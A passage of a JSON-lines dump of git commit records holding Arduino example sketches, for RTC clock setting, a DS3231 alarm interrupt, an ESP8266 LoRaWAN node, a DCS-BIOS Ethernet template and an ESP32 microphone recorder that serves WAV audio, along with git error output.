+ s[4]);\n return avgSensor;\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'zaman.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"472a0896e4d1c63b7b7c8446b1525a4f58eaa3b6","subject":"Add set_time sketch","message":"Add set_time sketch\n","repos":"paultela\/yubiduino,paultela\/yubiduino","old_file":"set_time\/set_time.ino","new_file":"set_time\/set_time.ino","new_contents":"#include <DS3231.h>\n\nDS3231 rtc(SDA, SCL);\n\nint get(const char* label) {\n Serial.println(label);\n while (!Serial.available());\n return Serial.parseInt();\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n rtc.begin();\n \n int year = get(\"Year\");\n int month = get(\"Month\");\n int day = get(\"Day\");\n rtc.setDate(day, month, year);\n \n int hour = get(\"Hour\");\n int minute = get(\"Minute\");\n int second = get(\"Second\");\n rtc.setTime(hour, minute, second);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \n Serial.println(rtc.getDateStr());\n Serial.println(rtc.getTimeStr());\n \n delay(1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'set_time\/set_time.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4de003055259dcd8ff54543fda27ace28c4aa0f1","subject":"Kapitola: Prek\u00e1\u017eky","message":"Kapitola: Prek\u00e1\u017eky","repos":"Galeje\/Cing","old_file":"Programy\/08_Nastavujeme hodnotu.ino","new_file":"Programy\/08_Nastavujeme hodnotu.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programy\/08_Nastavujeme' did not match any file(s) known to git\nerror: pathspec 'hodnotu.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4fcfc0a24a39a7280641dad19b779667d209339d","subject":"Basic Alarm Interrupt Example Added","message":"Basic Alarm Interrupt Example Added\n","repos":"NorthernWidget\/DS3231,NorthernWidget\/DS3231","old_file":"examples\/AlarmInterrupt\/AlarmInterrupt.ino","new_file":"examples\/AlarmInterrupt\/AlarmInterrupt.ino","new_contents":"#include <DS3231.h>\n#include <Wire.h>\n\n\/\/ Clock interrupt pin\n#define CLINT 2\n\nDS3231 Clock;\n\nvolatile int tick = 1;\n\nvoid setup() {\n \/\/ Begin serial communction\n Serial.begin(19200);\n Serial.println(\"DS3231 AlarmInterrupt Example\");\n Serial.println(\"=============================\");\n\n \/\/ Begin I2C communication\n Wire.begin();\n\n \/\/ Setup alarm two to fire every second\n Clock.turnOffAlarm(1);\n Clock.setA1Time(0, 0, 0, 0, 0b01111111, false, false, false);\n Clock.turnOnAlarm(1);\n Clock.checkIfAlarm(1);\n\n \/\/ attach clock interrupt\n pinMode(CLINT, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(CLINT), isr_TickTock, FALLING);\n}\n\nvoid loop() {\n if (tick) {\n Serial.println(\"Tick.\");\n tick = 0;\n Clock.checkIfAlarm(1);\n }\n delay(100);\n}\n\n\nvoid isr_TickTock() {\n tick = 1;\n return;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AlarmInterrupt\/AlarmInterrupt.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"c11ac8f4d41ff2e2ca8675bdf129c8a9c5c41470","subject":"alarm added","message":"alarm added","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ca8982c0f590b406b048e2edeb503daa6bf42f5d","subject":"Add test ESP8266 LORA Node","message":"Add test ESP8266 LORA Node\n","repos":"HarringayMakerSpace\/IoT","old_file":"LoraNode1\/LoraNode1.ino","new_file":"LoraNode1\/LoraNode1.ino","new_contents":"\/* ESP8266 with RFM95W\/SX1276 Example\n * \n * Uses deepSleep and publishes Vcc every 30 seconds.\n *\n * Tested using:\n * - ESP8266\/Arduino 2.2.0\n * - Arduino LMIC 1.5.0+arduino-1\n * - Arduino IDE 1.6.8 \n *\n * Wiring connections:\n * ESP8266 - SX1276\n * GND GND\n * VCC VCC\n * GPIO15 NSS\n * GPIO12 MOSI\n * GPIO13 MIS0\n * GPIO14 SCK\n * GPIO5 DIO0\n * GPIO4 DIO1\n *\n * Also on the ESP connect GPIO16-RST for deepSleep wakeup\n * \n * Spare pins for other things:\n * GPIO0 - must be high to boot\n * GPIO1 - Serial TX, will output some garbage at bootup \n * GPIO2 - must be high to boot\n * GPIO3 - Serial RX\n * ADC\n * \n * Author: Ant Elder\n * License: Apache License v2\n *\/\n\n#include <ESP8266WiFi.h>\n#include <lmic.h>\n#include <hal\/hal.h>\n#include <SPI.h>\n\nADC_MODE(ADC_VCC); \/\/ enables reading the ESP8266 supply voltage\n\n#define SLEEP_SECONDS 30\n\nconst lmic_pinmap lmic_pins = {\n .nss = 15,\n .rxtx = LMIC_UNUSED_PIN,\n .rst = LMIC_UNUSED_PIN,\n .dio = {5, 4, LMIC_UNUSED_PIN},\n};\n\n\/\/ LoRaWAN end-device address (DevAddr) see http:\/\/thethingsnetwork.org\/wiki\/AddressSpace\nstatic const u4_t DEVADDR = 0x03FF0701 ; \/\/ <-- Change this address for every node!\n\nvolatile boolean dio0Triggered;\n\nvoid setup() {\n Serial.begin(115200); Serial.println();\n\n lmicInit();\n \/\/ LMIC bug? the EV_TXCOMPLETE event seems to takes ages to happen, but DIO0 high indicates TX complete \n attachInterrupt(digitalPinToInterrupt(lmic_pins.dio[0]), dio0ISR, RISING);\n\n String vcc = String(ESP.getVcc()); \n do_send(vcc);\n}\n\n\/\/ loop runs until the TX Complete event puts the ESP to sleep\nvoid loop() {\n os_runloop_once();\n if (dio0Triggered) goToSleep();\n}\n\nvoid dio0ISR() {\n dio0Triggered = true; \n}\n\nvoid do_send(String msg) {\n Serial.print(\"Sending msg at \"); Serial.print(millis());\n Serial.print(\": \"); Serial.print(msg); Serial.println();\n\n \/\/ Check if there is not a current TX\/RX job running\n if (LMIC.opmode & OP_TXRXPEND) {\n Serial.println(\"OP_TXRXPEND, not sending\");\n return;\n }\n\n Serial.print(\"Sending on channel: \"); Serial.println(LMIC.txChnl);\n\n dio0Triggered = false;\n LMIC_setTxData2(1, (xref2u1_t)msg.c_str(), msg.length(), 0);\n}\n\nvoid onEvent (ev_t ev) {\n Serial.print(\"on event: \"); Serial.println(ev);\n switch(ev) {\n case EV_TXCOMPLETE:\n Serial.print(\"Event EV_TXCOMPLETE at \"); Serial.println(millis());\n if(LMIC.dataLen) { \/\/ has data been received in rx slot after tx\n Serial.print(F(\"Data Received: \"));\n Serial.write(LMIC.frame+LMIC.dataBeg, LMIC.dataLen);\n Serial.println();\n }\n goToSleep(); \n break;\n default:\n break;\n }\n}\n\nvoid goToSleep() {\n Serial.print(\"Up time \"); Serial.print(millis());\n Serial.print(\", going to sleep for \"); Serial.print(SLEEP_SECONDS); Serial.println(\" secs\");\n ESP.deepSleep(SLEEP_SECONDS*1000000, RF_DISABLED); \n}\n\n\/\/ LoRaWAN NwkSKey, network session key\n\/\/ This is the default Semtech key, which is used by the prototype TTN\n\/\/ network initially.\nstatic const PROGMEM u1_t NWKSKEY[16] = { 0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, 0xAB, 0xF7, 0x15, 0x88, 0x09, 0xCF, 0x4F, 0x3C };\n\n\/\/ LoRaWAN AppSKey, application session key\n\/\/ This is the default Semtech key, which is used by the prototype TTN\n\/\/ network initially.\nstatic const u1_t PROGMEM APPSKEY[16] = { 0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, 0xAB, 0xF7, 0x15, 0x88, 0x09, 0xCF, 0x4F, 0x3C };\n\nvoid lmicInit() {\n Serial.print(\"LMIC Init started at \"); Serial.print(millis()); Serial.print(\"...\");\n os_init();\n \/\/ Reset the MAC state. Session and pending data transfers will be discarded.\n LMIC_reset();\n\n \/\/ Set static session parameters. Instead of dynamically establishing a session\n \/\/ by joining the network, precomputed session parameters are be provided.\n #ifdef PROGMEM\n \/\/ On AVR, these values are stored in flash and only copied to RAM\n \/\/ once. Copy them to a temporary buffer here, LMIC_setSession will\n \/\/ copy them into a buffer of its own again.\n uint8_t appskey[sizeof(APPSKEY)];\n uint8_t nwkskey[sizeof(NWKSKEY)];\n memcpy_P(appskey, APPSKEY, sizeof(APPSKEY));\n memcpy_P(nwkskey, NWKSKEY, sizeof(NWKSKEY));\n LMIC_setSession (0x1, DEVADDR, nwkskey, appskey);\n #else\n \/\/ If not running an AVR with PROGMEM, just use the arrays directly \n LMIC_setSession (0x1, DEVADDR, NWKSKEY, APPSKEY);\n #endif\n\n \/\/ Set up the channels used by the Things Network, which corresponds\n \/\/ to the defaults of most gateways. Without this, only three base\n \/\/ channels from the LoRaWAN specification are used, which certainly\n \/\/ works, so it is good for debugging, but can overload those\n \/\/ frequencies, so be sure to configure the full frequency range of\n \/\/ your network here (unless your network autoconfigures them).\n \/\/ Setting up channels should happen after LMIC_setSession, as that\n \/\/ configures the minimal channel set.\n LMIC_setupChannel(0, 868100000, DR_RANGE_MAP(DR_SF12, DR_SF7), BAND_CENTI); \/\/ g-band\n LMIC_setupChannel(1, 868300000, DR_RANGE_MAP(DR_SF12, DR_SF7B), BAND_CENTI); \/\/ g-band\n LMIC_setupChannel(2, 868500000, DR_RANGE_MAP(DR_SF12, DR_SF7), BAND_CENTI); \/\/ g-band\n LMIC_setupChannel(3, 867100000, DR_RANGE_MAP(DR_SF12, DR_SF7), BAND_CENTI); \/\/ g-band\n LMIC_setupChannel(4, 867300000, DR_RANGE_MAP(DR_SF12, DR_SF7), BAND_CENTI); \/\/ g-band\n LMIC_setupChannel(5, 867500000, DR_RANGE_MAP(DR_SF12, DR_SF7), BAND_CENTI); \/\/ g-band\n LMIC_setupChannel(6, 867700000, DR_RANGE_MAP(DR_SF12, DR_SF7), BAND_CENTI); \/\/ g-band\n LMIC_setupChannel(7, 867900000, DR_RANGE_MAP(DR_SF12, DR_SF7), BAND_CENTI); \/\/ g-band\n LMIC_setupChannel(8, 868800000, DR_RANGE_MAP(DR_FSK, DR_FSK), BAND_MILLI); \/\/ g2-band\n \/\/ TTN defines an additional channel at 869.525Mhz using SF9 for class B\n \/\/ devices' ping slots. LMIC does not have an easy way to define set this\n \/\/ frequency and support for class B is spotty and untested, so this\n \/\/ frequency is not configured here.\n\n \/\/ Disable link check validation\n LMIC_setLinkCheckMode(0);\n\n \/\/ Set data rate and transmit power (note: txpow seems to be ignored by the library)\n LMIC_setDrTxpow(DR_SF7,14);\n\n \/\/ only use channel 0 for the single channel gateway\n LMIC_disableChannel(1);\n LMIC_disableChannel(2);\n LMIC_disableChannel(3);\n LMIC_disableChannel(4);\n LMIC_disableChannel(5);\n LMIC_disableChannel(6);\n LMIC_disableChannel(7);\n LMIC_disableChannel(8);\n\n Serial.print(\"done \"); Serial.println(millis());\n}\n\n\/\/ These callbacks are only used in over-the-air activation, so they are\n\/\/ left empty here (we cannot leave them out completely unless\n\/\/ DISABLE_JOIN is set in config.h, otherwise the linker will complain).\nvoid os_getArtEui (u1_t* buf) { }\nvoid os_getDevEui (u1_t* buf) { }\nvoid os_getDevKey (u1_t* buf) { }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LoraNode1\/LoraNode1.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"d3b788999f15054209b1205b91e9db6e78469850","subject":"add EthernetShieldTemplateSketch example","message":"add EthernetShieldTemplateSketch example\n","repos":"dcs-bios\/dcs-bios-arduino-library","old_file":"examples\/EthernetShieldTemplateSketch\/EthernetShieldTemplateSketch.ino","new_file":"examples\/EthernetShieldTemplateSketch\/EthernetShieldTemplateSketch.ino","new_contents":"#include <DcsBios.h>\n#include <Servo.h>\n#include <SPI.h> \/\/ needed for Arduino versions later than 0018\n#include <Ethernet.h>\n#include <EthernetUdp.h>\n\n\/****\nChange these values to the IP address to assign to your Arduino\nand the IP address of your DCS computer.\n\nMake sure that the IP address you assign to your Arduino is on\nthe same network as your DCS host. If you make sure that the first\nthree numbers are the same, you should be fine.\n\nYou will also edit BIOSConfig.lua to send a copy of the export data\nto the IP address of your Arduino.\n****\/\nIPAddress arduinoIpAddress(192, 168, 1, 177);\nIPAddress dcsHost(192, 168, 1, 2);\n\n\/\/ Enter a MAC address for your controller below.\nbyte mac[] = { \n 0xDE, 0xAD, 0xBE, 0xEF, 0xDC, 0xB0 };\n\n\/**** Make your changes after this line ****\/\n\n\n\n\n\/**** In most cases, you do not have to change anything below this line ****\/\n\n\/* Instantiate a ProtocolParser object to parse the DCS-BIOS export stream *\/\nDcsBios::ProtocolParser parser;\n\n\/* Create an instance of the Udp class *\/\nEthernetUDP Udp;\n\nvoid setup() {\n Ethernet.begin(mac, arduinoIpAddress);\n Udp.begin(7777);\n}\n\n\/*\nYour main loop needs to pass data from the DCS-BIOS export\nstream to the parser object you instantiated above.\n\nIt also needs to call DcsBios::PollingInput::pollInputs()\nto detect changes in the state of connected controls and\npass them on to DCS.\n*\/\nvoid loop() {\n \/\/ if there's data available, read a packet\n int packetSize = Udp.parsePacket();\n if(packetSize)\n { \n for (int i=0; i<packetSize; i++) {\n parser.processChar(Udp.read());\n }\n }\n \n \/\/ poll inputs\n DcsBios::PollingInput::pollInputs();\n}\n\n\/*\nYou need to define\nvoid sendDcsBiosMessage(const char* msg, const char* arg)\nso that the string msg, followed by a space, the string arg\nand a newline gets sent to the DCS-BIOS import stream.\n\nIn this example we send it to the DCS computer in a UDP packet.\n*\/\nvoid sendDcsBiosMessage(const char* msg, const char* arg) {\n Udp.beginPacket(dcsHost, 7778);\n Udp.write(msg);\n Udp.write(' ');\n Udp.write(arg);\n Udp.write('\\n');\n Udp.endPacket();\n}\n\n\/*\nThis subroutine gets called every time new data is received\nfrom the export stream (you need to define it even if it\ndoes nothing).\n\nUse this to handle integer outputs which are not covered by the\nDcsBios Arduino library.\n*\/\nvoid onDcsBiosWrite(unsigned int address, unsigned int value) {\n\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/EthernetShieldTemplateSketch\/EthernetShieldTemplateSketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3fb171db17f5d09cf9e3e004a35cce1aa1c1771b","subject":"\u30ef\u30a4\u30e4\u30ec\u30b9\u30de\u30a4\u30af\u9001\u4fe1\u6a5f\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u8ffd\u52a0","message":"\u30ef\u30a4\u30e4\u30ec\u30b9\u30de\u30a4\u30af\u9001\u4fe1\u6a5f\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u8ffd\u52a0\n","repos":"bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp","old_file":"2_example\/example65_mic\/example65_mic.ino","new_file":"2_example\/example65_mic\/example65_mic.ino","new_contents":"\/*******************************************************************************\r\nExample 65 \u30a2\u30ca\u30ed\u30b0\u5165\u529b\u30dd\u30fc\u30c8\u304b\u3089\u9332\u97f3\u3057\u305f\u97f3\u58f0\u3092\u9001\u4fe1\u3059\u308b\r\n\r\n Copyright (c) 2017 Wataru KUNINO\r\n********************************************************************************\r\n\u3000\u30de\u30a4\u30af\u5165\u529b\u30dd\u30fc\u30c8\uff1aGPIO 34 ADC1_CH6\r\n\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000IoT Express\t\tA2\u30d4\u30f3(P3 3\u756a\u30d4\u30f3)\r\n\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000WeMos D1 R32\t\tAnalog 3\u30d4\u30f3\r\n\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000ESP-WROOM-32\t\t6\u756a\u30d4\u30f3\r\n\r\n\u3000\u9332\u97f3\u958b\u59cb\u5165\u529b\u30dd\u30fc\u30c8\uff1aGPIO 0 \u3092 L\u30ec\u30d9\u30eb\u3078\u79fb\u884c\u3059\u308b\r\n\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000IoT Express\t\tBOOT\u30b9\u30a4\u30c3\u30c1\u3092\u62bc\u3059\r\n\r\n\u3000\u53d7\u4fe1\u7528\u30bd\u30d5\u30c8\uff1atools\u30d5\u30a9\u30eb\u30c0\u5185\u306eget_sound.sh(Raspberry Pi\u7528)\u306a\u3069\u3092\u4f7f\u7528\u3059\u308b\r\n*******************************************************************************\/\r\n\r\n#include <WiFi.h> \/\/ ESP32\u7528WiFi\u30e9\u30a4\u30d6\u30e9\u30ea\r\n#include <WiFiUdp.h> \/\/ UDP\u901a\u4fe1\u3092\u884c\u3046\u30e9\u30a4\u30d6\u30e9\u30ea\r\n#include \"esp_sleep.h\" \/\/ ESP32\u7528Deep Sleep \u30e9\u30a4\u30d6\u30e9\u30ea\r\n#define PIN_AIN 34 \/\/ GPIO 34 ADC1_CH6(6\u756a\u30d4\u30f3)\u3092ADC\u306b\r\n#define PIN_EN 2 \/\/ GPIO 2(24\u756a\u30d4\u30f3)\u3092\u30bb\u30f3\u30b5\u306e\u96fb\u6e90\u306b\r\n#define PIN_WAKE GPIO_NUM_0 \/\/ GPIO 0\u3092\u30b9\u30ea\u30fc\u30d7\u89e3\u9664\u4fe1\u53f7\u3078\u8a2d\u5b9a\r\n#define TIMEOUT 20000 \/\/ \u30bf\u30a4\u30e0\u30a2\u30a6\u30c8 20\u79d2\r\n#define SSID \"1234ABCD\" \/\/ \u7121\u7ddaLAN\u30a2\u30af\u30bb\u30b9\u30dd\u30a4\u30f3\u30c8\u306eSSID\r\n#define PASS \"password\" \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\r\n#define SENDTO \"192.168.0.255\" \/\/ \u9001\u4fe1\u5148\u306eIP\u30a2\u30c9\u30ec\u30b9\r\n#define PORT 1024 \/\/ \u9001\u4fe1\u306e\u30dd\u30fc\u30c8\u756a\u53f7\r\n#define SLEEP_P 1*60*1000000 \/\/ \u30b9\u30ea\u30fc\u30d7\u6642\u9593 1\u5206(uint32_t)\r\n#define DEVICE \"sound_1,\" \/\/ \u30c7\u30d0\u30a4\u30b9\u540d(5\u6587\u5b57+\"_\"+\u756a\u53f7+\",\")\r\n#define FILENAME \"\/sound.wav\" \/\/ \u97f3\u58f0\u30d5\u30a1\u30a4\u30eb\u540d(\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u7528)\r\n#define SOUND_LEN 3*8000 \/\/ \u97f3\u58f0\u9577 8000=\u7d041\u79d2\r\n\r\nWiFiUDP udp; \/\/ UDP\u901a\u4fe1\u7528\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u5b9a\u7fa9\r\nWiFiServer server(80); \/\/ Wi-Fi\u30b5\u30fc\u30d0(\u30dd\u30fc\u30c880=HTTP)\u5b9a\u7fa9\r\nunsigned long TIME; \/\/ \u5199\u771f\u516c\u958b\u6642\u523b(\u8d77\u52d5\u5f8c\u306e\u7d4c\u904e\u6642\u9593)\r\n\r\nbyte snd[SOUND_LEN];\t\t\t\t\t\t\/\/ \u97f3\u58f0\u9332\u97f3\u7528\u5909\u6570\r\nint snd_size=0; \/\/ \u97f3\u58f0\u30c7\u30fc\u30bf\u306e\u5927\u304d\u3055(\u30d0\u30a4\u30c8)\r\nconst byte Wave_Header0[2]={0,0};\r\nconst byte Wave_Header1[8]={16,0,0,0,1,0,1,0};\r\nconst byte Wave_Header2[4]={0x40,0x1F,0,0};\t\/\/ 8000Hz -> 00 00 1F 40\r\nconst byte Wave_Header3[4]={1,0,8,0};\r\n\r\nint snd_rec(byte *snd, int len, int port){\r\n\tunsigned long time,time_trig=0;\r\n\tint i=0, wait_us=125;\t\t\t\t\t\/\/ 8kHz\u6642 \u30b5\u30f3\u30d7\u30ea\u30f3\u30b0\u9593\u9694 125us\r\n\t\r\n\twhile(i<len){\r\n\t\ttime=micros();\r\n\t\tif(time < time_trig) continue;\t\t\/\/ \u672a\u9054\u6642\r\n\t\tsnd[i]=(byte)(analogRead(PIN_AIN)>>4); \/\/ \u30a2\u30ca\u30ed\u30b0\u5165\u529b 12\u30d3\u30c3\u30c8\u21928\u30d3\u30c3\u30c8\r\n\t\ttime_trig += wait_us;\r\n\t\ti++;\r\n\t\tif(time_trig < wait_us) break;\t\t\/\/ \u6642\u9593\u30ab\u30a6\u30f3\u30bf\u306e\u30aa\u30fc\u30d0\u30d5\u30ed\u30fc\r\n\t}\r\n\treturn i;\r\n}\r\n\r\nvoid setup(){ \r\n pinMode(PIN_AIN,INPUT); \/\/ \u30a2\u30ca\u30ed\u30b0\u5165\u529b\u7aef\u5b50\u306e\u8a2d\u5b9a\r\n pinMode(PIN_EN,OUTPUT); \/\/ \u30bb\u30f3\u30b5\u7528\u306e\u96fb\u6e90\u3092\u51fa\u529b\u306b\r\n Serial.begin(115200); \/\/ \u52d5\u4f5c\u78ba\u8a8d\u306e\u305f\u3081\u306e\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u958b\u59cb\r\n Serial.println(\"eg.65 Microphone\"); \/\/ \u30bf\u30a4\u30c8\u30eb\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n TIME=millis();\r\n digitalWrite(PIN_EN,HIGH);\r\n Serial.print(\"Recording... \");\r\n\tsnd_size=snd_rec(snd,SOUND_LEN,PIN_AIN);\/\/ \u97f3\u58f0\u5165\u529b\r\n\tSerial.print(millis()-TIME);\r\n Serial.println(\"s Done\");\r\n\tif(snd_size<82) sleep();\r\n WiFi.mode(WIFI_STA); \/\/ \u7121\u7ddaLAN\u3092STA\u30e2\u30fc\u30c9\u306b\u8a2d\u5b9a\r\n WiFi.begin(SSID,PASS); \/\/ \u7121\u7ddaLAN\u30a2\u30af\u30bb\u30b9\u30dd\u30a4\u30f3\u30c8\u3078\u63a5\u7d9a\r\n while(WiFi.status() != WL_CONNECTED){ \/\/ \u63a5\u7d9a\u306b\u6210\u529f\u3059\u308b\u307e\u3067\u5f85\u3064\r\n delay(500); \/\/ \u5f85\u3061\u6642\u9593\u51e6\u7406\r\n digitalWrite(PIN_EN,!digitalRead(PIN_EN)); \/\/ LED\u306e\u70b9\u6ec5\r\n Serial.print(\".\");\r\n }\r\n digitalWrite(PIN_EN,HIGH);\r\n udp.beginPacket(SENDTO, PORT); \/\/ UDP\u9001\u4fe1\u5148\u3092\u8a2d\u5b9a\r\n udp.print(DEVICE); \/\/ \u30c7\u30d0\u30a4\u30b9\u540d\u3092\u9001\u4fe1\r\n udp.print(snd_size+44); \/\/ \u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba\u3092\u9001\u4fe1\r\n udp.print(\", http:\/\/\"); \/\/ \u30c7\u30d0\u30a4\u30b9\u540d\u3092\u9001\u4fe1\r\n udp.print(WiFi.localIP()); \/\/ \u672c\u6a5f\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u9001\u4fe1\r\n udp.println(FILENAME); \/\/ \u30d5\u30a1\u30a4\u30eb\u540d\u3092\u9001\u4fe1\r\n udp.endPacket(); \/\/ UDP\u9001\u4fe1\u306e\u7d42\u4e86(\u5b9f\u969b\u306b\u9001\u4fe1\u3059\u308b)\r\n Serial.print(\"http:\/\/\"); \/\/ \u30c7\u30d0\u30a4\u30b9\u540d\u3092\u9001\u4fe1\r\n Serial.print(WiFi.localIP()); \/\/ \u672c\u6a5f\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u9001\u4fe1\r\n Serial.println(FILENAME); \/\/ \u30d5\u30a1\u30a4\u30eb\u540d\u3092\u9001\u4fe1\r\n TIME=millis()+TIMEOUT; \/\/ \u7d42\u4e86\u6642\u523b\u3092\u4fdd\u5b58(\u73fe\u6642\u523b\uff0bTIMEOUT)\r\n server.begin(); \/\/ HTTP\u30b5\u30fc\u30d0\u3092\u8d77\u52d5\u3059\u308b\r\n}\r\n\r\nvoid loop(){\r\n WiFiClient client; \/\/ Wi-Fi\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u5b9a\u7fa9\r\n char c; \/\/ \u6587\u5b57\u5909\u6570\u3092\u5b9a\u7fa9\r\n char s[65]; \/\/ \u6587\u5b57\u5217\u5909\u6570\u3092\u5b9a\u7fa9 65\u30d0\u30a4\u30c864\u6587\u5b57\r\n int i,len=0; \/\/ \u6587\u5b57\u5217\u7b49\u306e\u9577\u3055\u30ab\u30a6\u30f3\u30c8\u7528\u306e\u5909\u6570\r\n int t=0; \/\/ \u5f85\u3061\u53d7\u3051\u6642\u9593\u306e\u30ab\u30a6\u30f3\u30c8\u7528\u306e\u5909\u6570\r\n \r\n if(millis() > TIME) sleep(); \/\/ \u7d42\u4e86\u6642\u523b\u306b\u306a\u3063\u305f\u3089sleep()\u3092\u5b9f\u884c\r\n client = server.available(); \/\/ \u63a5\u7d9a\u3055\u308c\u305f\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u3092\u751f\u6210\r\n if(!client)return; \/\/ loop()\u306e\u5148\u982d\u306b\u623b\u308b\r\n Serial.println(\"Connected\"); \/\/ \u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n while(client.connected()){ \/\/ \u5f53\u8a72\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u63a5\u7d9a\u72b6\u614b\u3092\u78ba\u8a8d\r\n if(client.available()){ \/\/ \u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u304b\u3089\u306e\u30c7\u30fc\u30bf\u3092\u78ba\u8a8d\r\n t=0; \/\/ \u5f85\u3061\u6642\u9593\u5909\u6570\u3092\u30ea\u30bb\u30c3\u30c8\r\n c=client.read(); \/\/ \u30c7\u30fc\u30bf\u3092\u6587\u5b57\u5909\u6570c\u306b\u4ee3\u5165\r\n if(c=='\\n'){ \/\/ \u6539\u884c\u3092\u691c\u51fa\u3057\u305f\u6642\r\n if(len>5 && strncmp(s,\"GET \/\",5)==0) break;\r\n len=0; \/\/ \u6587\u5b57\u5217\u9577\u30920\u306b\r\n }else if(c!='\\r' && c!='\\0'){\r\n s[len]=c; \/\/ \u6587\u5b57\u5217\u5909\u6570\u306b\u6587\u5b57c\u3092\u8ffd\u52a0\r\n len++; \/\/ \u5909\u6570len\u306b1\u3092\u52a0\u7b97\r\n s[len]='\\0'; \/\/ \u6587\u5b57\u5217\u3092\u7d42\u7aef\r\n if(len>=64) len=63; \/\/ \u6587\u5b57\u5217\u5909\u6570\u306e\u4e0a\u9650\r\n }\r\n }\r\n if(t>TIMEOUT){ \/\/ TIMEOUT\u306b\u5230\u9054\u3057\u305f\u3089\u7d42\u4e86\r\n client.stop(); \/\/ \u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u9589\u3058\u308b\r\n sleep(); \/\/ sleep()\u3078\r\n }\r\n delay(1); t++; \/\/ \u5909\u6570t\u306e\u5024\u30921\u3060\u3051\u5897\u52a0\u3055\u305b\u308b\r\n }\r\n delay(1); \/\/ \u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u6e96\u5099\u5f85\u3061\u6642\u9593\r\n if(!client.connected()) return; \/\/ \u5207\u65ad\u3055\u308c\u3066\u3044\u305f\u5834\u5408\u306floop\u306e\u5148\u982d\u3078\r\n Serial.println(s); \/\/ \u53d7\u4fe1\u3057\u305f\u547d\u4ee4\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n client.println(\"HTTP\/1.0 200 OK\"); \/\/ HTTP OK\u3092\u5fdc\u7b54\r\n client.println(\"Content-Type: audio\/wav\"); \/\/ WAV\u30b3\u30f3\u30c6\u30f3\u30c4\r\n client.println(\"Connection: close\"); \/\/ \u5fdc\u7b54\u5f8c\u306b\u9589\u3058\u308b\r\n client.println(); \/\/ \u30d8\u30c3\u30c0\u306e\u7d42\u4e86\r\n client.write(\"RIFF\",4);\t\t\t\t\t\/\/ RIFF \t\t\t\t\t->[4]\r\n i = snd_size + 44 - 8;\t\t\t\t\t\/\/ \u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba-8\r\n client.write(i & 0xFF);\t\t\t\t\t\/\/ \u30b5\u30a4\u30ba\u30fb\u6700\u4e0b\u4f4d\u30d0\u30a4\u30c8\t \t->[5]\r\n client.write((i>>8) & 0xFF);\t\t\t\/\/ \u30b5\u30a4\u30ba\u30fb\u7b2c2\u4f4d\u30d0\u30a4\u30c8\t \t->[6]\r\n client.write(Wave_Header0,2);\t\t\t\/\/ \u30b5\u30a4\u30ba\u30fb\u7b2c3-4\u4f4d\u30d0\u30a4\u30c8 \t->[8]\r\n client.write(\"WAVEfmt \",8);\t\t\t\t\/\/ \"Wave\",\"fmt \"\t\t\t->[16]\r\n client.write(Wave_Header1,8);\t\t\t\/\/ 16,0,0,0,1,0,1,0\t\t\t->[24]\r\n client.write(Wave_Header2,4);\t\t\t\/\/ 68,172,0,0\t\t\t\t->[28]\r\n client.write(Wave_Header2,4);\t\t\t\/\/ 68,172,0,0\t\t\t\t->[32]\r\n client.write(Wave_Header3,4);\t\t\t\/\/ 1,0,8,0\t\t\t\t\t->[36]\r\n 